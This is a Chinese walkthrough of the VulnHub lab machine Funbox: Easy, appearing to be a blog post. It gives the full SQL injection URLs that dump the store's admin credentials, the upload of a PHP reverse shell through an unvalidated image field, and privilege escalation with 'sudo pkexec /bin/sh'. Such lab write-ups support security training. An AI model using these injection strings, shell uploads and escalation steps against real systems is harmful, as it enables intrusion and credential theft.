当前位置:网站首页>vulnhub Funbox: Easy (funbox3)
vulnhub Funbox: Easy (funbox3)
2022-07-15 12:45:00 【仙女象】
渗透思路:
nmap扫描----gobuster扫描网站目录----登录store(弱密码/sql注入)----利用文件上传漏洞获得反弹shell----sudo pkexec提权
环境信息:
靶机:192.168.101.81
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.81扫描到tcp端口22、80和33060

2、gobuster扫描网站目录
gobuster dir -u http://192.168.101.81/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到4个目录:
http://192.168.101.81/store/
http://192.168.101.81/admin/
http://192.168.101.81/secret/
http://192.168.101.81/gym/
3、弱密码登录store
用浏览器访问步骤2中扫描出的4个目录,http://192.168.101.81/secret/下面没啥有用的东西,另外三个站都有登录页面
http://192.168.101.81/store/admin.php(首页右下角点击Admin Login即可进入该页面)

http://192.168.101.81/admin/index.php


gym的用户名需要email,我就没尝试用弱密码登录了,另外两个站我都尝试了用弱密码登录,发现以用户名admin,密码admin可以登录http://192.168.101.81/store
登录后来到页面http://192.168.101.81/store/admin_book.php

4、利用sql注入获得store管理员用户密码(登录store的另一种方法)
除了利用弱密码登录store,还可以利用store的sql注入漏洞查询到其管理员登录用户名和密码
store的首页提示这是一个php+mysql搭建的站点

在Books中随便点一本书,来到该书的介绍页面,发现url中貌似有一个查询参数bookisbn

浏览器访问http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27 报错

浏览器访问http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27--%20ss正常显示
可以判断存在sql注入

http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27%20order%20by%207--%20ss正常显示
http://192.168.101.81/store/book.php?bookisbn=978-1-118-94924-5%27order%20by%208--%20ss报错
可以判断查询结果有7列
尝试union注入,浏览器地址栏输入
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%2011111,2222,3333,4444,5555,6666,7777--%20ss
(注意bookisbn不能是数据库中存在的,否则只显示查询到的书籍的数据,不显示注入的)
从返回结果可知,查询结果第1,2,3,5,6列是可见的

查询所有数据库名称:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(distinct%20table_schema),2222,3333,4444,5555,6666,7777%20from%20information_schema.tables--%20ss
发现只有两个数据库,information_schema和store

查询store数据库所有表:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(table_name),2222,3333,4444,5555,6666,7777%20from%20information_schema.tables%20where%20table_schema%20=%20%27store%27--%20ss
store数据库包含表:admin,books,customers,order_items,orders,publisher

查询store数据库admin表所有列名:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(column_name),2222,3333,4444,5555,6666,7777%20from%20information_schema.columns%20where%20table_schema%20=%20%27store%27%20and%20table_name%20=%20%27admin%27--%20ss
发现admin表包含列name和pass

查询admin表所有数据:
http://192.168.101.81/store/book.php?bookisbn=%27%20union%20select%20group_concat(name),2222,group_concat(pass),4444,5555,6666,7777%20from%20admin--%20ss
查询到用户名为admin,md5加密的密码为d033e22ae348aeb5660fc2140aec35850c4da997

在md5在线解密网站解密后发现,admin的密码为admin

5、利用文件上传漏洞获取反弹shell
http://192.168.101.81/store/admin_book.php

admin用户和登录后的页面左上角有Add new book链接(上图),点击后来到
http://192.168.101.81/store/admin_add.php
是一个录入图书信息的页面,其中Image字段可以上传图书封面,这个字段并没有对上传的文件进行校验,可以上传kali自带的php反弹shell(/usr/share/webshells/php/php-reverse-shell.php 使用前需要修改$ip为攻击机ip,$port为攻击机上监听端口),另外还要注意Publisher字段要填写网站中存在的Publisher,不然会报错。

反弹shell上传完成后还要想办法触发,首先需要知道它在靶机上被保存在哪个路径下,文件名是什么。
回到Books页面http://192.168.101.81/store/books.php,可以看到新增的书籍已经展示出来了,由于书籍封面上传的不是图片,所以无法作为图片解析。

点击刚保存的书籍进入书籍详情页面,在加载不出来的图片的位置单击鼠标右键选择Copy Image Location,可以获得一个链接http://192.168.101.81/store/bootstrap/img/php-reverse.php

直接将此链接复制到浏览器地址栏中访问,在攻击机的监听端口上可以得到靶机www-data用户的反弹shell


6、sudo pkexec提权
靶机shell中输入以下命令获得交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'进入/home目录,发现用户tony的家目录/home/tony

进入/home/tony后发现文件password.txt,打开一看,发现tony的ssh登录密码yxcvbnmYYY

用su命令切换到tony,并输入密码yxcvbnmYYY
su - tonysudo -l发现tony可以sudo执行很多命令,其中pkexec sudo执行可以直接提权

命令行输入如下命令提权到root
sudo pkexec /bin/sh然后在/root目录下找到root.flag

边栏推荐
- Four sides Ali offer grading p82022 latest and most practical Ali 68 advanced interview questions to help you succeed in your interview!!
- Tencent T4 architects give you a "glimpse" of the main technical challenges and solutions of large website architecture
- 5 款内部系统搭建低代码平台评测
- The world's first commercial cryptographic chip against quantum attack | Muchuang
- Issue 105: a failed browser plug-in development
- APUE学习笔记-15章进程间通信
- Google Earth Engine(GEE)——随机森林分类法绘制了2000年、2010年和2020年圭亚那的红树林APP详细代码
- File parsing_ Excel file parsing
- [Xingguang 04] 2022 deep learning GPU form
- Chromium Threading and Task
猜你喜欢
随机推荐
Serial port communication of esp32 (in the form of interruption and watchdog)
Realizing deep learning framework from zero -- glove
Thesis learning (I) -- MWP bert: numerical augmented pre training for math wordproblem solving
【开发教程17】AI语音人脸识别(会议记录仪/人脸打卡机)-AI人脸注册认证与识别
std::unique_ The use of PTR as a formal parameter
go-zero微服务实战系列(五、缓存代码怎么写)
Quickly deploy mqtt clusters on Alibaba cloud using terraform
[visdom drawing] summary of visdom drawing in deep learning
win11虚拟机里面mysql的ibd文件在哪里
Andorid Studio 制作欢乐写数字(Timer启动+帧动画)
上云精品 | 云商店助力慧科 推动校企联合,共育人才发展
How does Xishanju build a game industry assembly line with ones? | Ones industry practice
普通二本毕业五年,备战两个月,四面阿里巴巴定级P7
【OpenCV 例程200篇】230. 特征描述之 LBP 统计直方图
想找个大券商开户?现在通过手机股票开户是安全的吗?
授人以渔-在 SAP MM 物料显示界面上看到一个字段,如何查找哪张数据库表的哪个字段进行的存储
mysql(三)路由器、MHA高可用
[Xingguang 04] 2022 deep learning GPU form
中国人力资源数字化生态图谱-灵活用工市场
Configure @ in vite to access files under Src








